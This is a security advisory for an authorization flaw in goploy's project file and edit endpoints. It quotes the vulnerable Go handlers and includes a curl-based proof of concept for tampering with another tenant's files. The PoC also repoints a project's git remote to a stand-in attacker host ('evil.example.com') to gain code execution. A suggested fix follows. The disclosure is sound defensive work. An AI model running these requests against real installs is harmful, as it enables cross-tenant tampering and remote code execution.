CVE-2026-53552 — Vulnerability in github.com/zhenorzz/goploy — CVE...

### Summary `Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project's working tree. ### Affected `zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`). The four handlers and the model lookups have been in this shape across the file API and project metadata API. ### Vulnerable code `cmd/server/api/project/handler.go::AddFile` (creates file under any project's directory; body controls `projectId`): ```go func (Project) AddFile(gp *server.Goploy) server.Response { type ReqData struct { ProjectID int64 `json:"projectId" validate:"required,gt=0"` Content string `json:"content" validate:"required"` Filename string `json:"filename" validate:"required"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... } filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename) // ... os.Create(filePath); file.WriteString(reqData.Content) id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow() } ``` `cmd/server/api/project/handler.go::EditFile` (overwrites file content; body controls file id, server derives project from the file row): ```go func (Project) EditFile(gp *server.Goploy) server.Response { type ReqData struct { ID int64 `json:"id" validate:"required,gt=0"` Content string `json:"content" validate:"required"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... } projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData() // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)) file.WriteString(reqData.Content) } ``` `cmd/server/api/project/handler.go::RemoveFile` (deletes file row + on-disk file by body id): ```go func (Project) RemoveFile(gp *server.Goploy) server.Response { type ReqData struct { ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"` } var reqData ReqData if err := gp.Decode(&reqData); err != nil { ... } projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData() if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... } } ``` `cmd/server/api/project/handler.go::Edit` (updates any project's metadata; on URL change runs `git remote set-url` in the project working tree): ```go func (Project) Edit(gp *server.Goploy) server.Response { // ... ReqData has ID, Name, URL, Branch, Script, etc. projectData, err := model.Project{ID: reqData.ID}.GetData() model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow() if reqData.URL != projectData.URL { srcPath := config.GetProjectPath(projectData.ID) cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL) cmd.Dir = srcPath } } ``` `internal/model/project_file.go::ProjectFile.GetData` filters only by row id, no namespace join: ```go func (pf ProjectFile) GetData() (ProjectFile, error) { err := sq. Select("id, project_id, filename, insert_time, update_time"). From(projectFileTable). Where(sq.Eq{"id": pf.ID}). ... } ``` `internal/server/route.go::Route.hasPermission` checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to `gp.Namespace.ID`: ```go func (r Route) hasPermission(permissionIDs map[int64]struct{}) error { if len(r.permissionIDs) == 0 { return nil } for _, permissionID := range r.permissionIDs { if _, ok := permissionIDs[permissionID]; ok { return nil } } return errors.New("no permission") } ``` ### Reachable Any logged-in user assigned the `manager` role in their own namespace can call `/project/addFile`, `/project/editFile`, `/project/removeFile`, and `/project/edit`. The seeded `manager` role (`role.id = 1`) is granted both `FileSync` (`permission.id = 68`) and `EditProject` (`permission.id = 17`) by `database/goploy.sql`. Multi-tenant deployments typically assign `manager` to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints. ### Proof of concept Setup against the published Docker image: ```bash docker network create goploy-net docker run -d --name goploy-mysql --network goploy-net \ -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \ mysql:8.0 --default-authentication-plugin=mysql_native_password # Wait for MySQL, then load schema docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql' # Mount goploy.toml pointing DB at goploy-mysql:3306 docker run -d --name goploy-app --network goploy-net -p 18080:80 \ -v $PWD/repo:/opt/goploy/repository \ zhenorzz/goploy:1.17.5 ``` Set up two namespaces and two non-super-manager users, each assigned `manager` (role_id=1) only in their own namespace: ```bash # Admin login (default account admin / admin!@# requires first-login change) curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \ -H 'Content-Type: application/json' \ -d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}' ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json' # Create NS_B curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}' # → {"data":{"id":2}} # Create alice (id=2) and bob (id=3) curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \ -d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}' curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \ -d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}' # Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1) curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \ -d '{"namespaceId":1,"userIds":[2],"roleId":1}' curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \ -d '{"namespaceId":2,"userIds":[3],"roleId":1}' # As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1) curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \ -d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git", "path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync", "transferOption":"-rtv","deployServerMode":"serial", "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""}, "deployFinish":{"mode":"","content":""}}}' curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \ -d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}' # Bob logs in (first-login change) curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \ -H 'Content-Type: application/json' \ -d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}' BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json' ``` Negative control: Bob's own namespace has no projects. ```bash curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100" # → {"code":0,"data":{"list":[]}} ``` Exploit 1 — Bob overwrites Alice's file content: ```bash curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \ -d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}' # → {"code":0,"message":"","data":null} docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml # OWNED BY BOB # attacker_namespace: ns_b ``` Exploit 2 — Bob plants a new file in Alice's project directory: ```bash curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \ -d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}' # → {"code":0,"message":"","data":{"id":2}} docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/ # .env.attacker alice-secrets.yml ``` Exploit 3 — Bob deletes Alice's file: ```bash curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \ -d '{"projectFileId":1}' # → {"code":0,"message":"","data":null} # alice-secrets.yml is gone from project_1/. ``` Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs `git -C <alice-prod-tree> remote set-url origin <attacker-url>` and clones / pulls attacker code, leading to RCE under goploy's user: ```bash curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \ -d '{"id":1,"name":"alice-prod","repoType":"git", "url":"git@evil.example.com:attacker/payload.git", "path":"/tmp/deploy/alice","environment":1,"branch":"master", "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial", "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""}, "deployFinish":{"mode":"","content":""}}}' # → {"code":0,"message":"","data":null} docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \ -e "SELECT name,url FROM project WHERE id=1;" # alice-prod | git@evil.example.com:attacker/payload.git ``` Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working. ### Suggested fix Add a namespace-scoped variant of `GetData` so the model layer requires `(id, namespace_id)` and switch the four handlers over. `internal/model/project_file.go`: ```go func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) { var projectFile ProjectFile err := sq. Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time"). From(projectFileTable + " pf"). Join("project p ON p.id = pf.project_id"). Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}). RunWith(DB). QueryRow(). Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename, &projectFile.InsertTime, &projectFile.UpdateTime) return projectFile, err } ``` `internal/model/project.go`: add a parallel `Project.GetDataInNamespace` that joins on `namespace_id`. `cmd/server/api/project/handler.go`: - `EditFile` and `RemoveFile` switch to `model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID)`. - `AddFile` calls a new `model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)` precheck before `os.Create` and `AddRow`. - `Edit` calls `model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)` before `EditRow`. `sql.ErrNoRows` from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (`Remove`, `SetAutoDeploy`, `UploadFile`, `AddTask`, `EditProcess`, etc.) but the four endpoints above are the immediately exploitable ones. ### Patch Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them. ### Credit Reported by tonghuaroot.